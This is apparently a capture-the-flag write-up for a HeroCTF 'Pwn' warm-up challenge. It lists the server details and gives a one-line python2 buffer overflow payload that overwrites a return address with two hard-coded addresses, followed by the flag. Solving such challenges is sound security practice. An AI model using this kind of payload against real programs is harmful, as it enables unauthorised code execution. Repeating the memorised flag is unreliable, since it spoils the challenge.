Pwn
Just a little warm up, but hey, without the twist it would've been too simple. Get the flag from the server.
Host : pwn.heroctf.fr
Port : 9003
Format : Hero{flag} Author : iHuggsy
(python2 -c "print('A'*32 +'\xc6\x91\x04\x08' + '\xfa\x91\x04\x08')" ; cat) | ./xHero{Tw1sT3D_w1N_FuNcTi0N}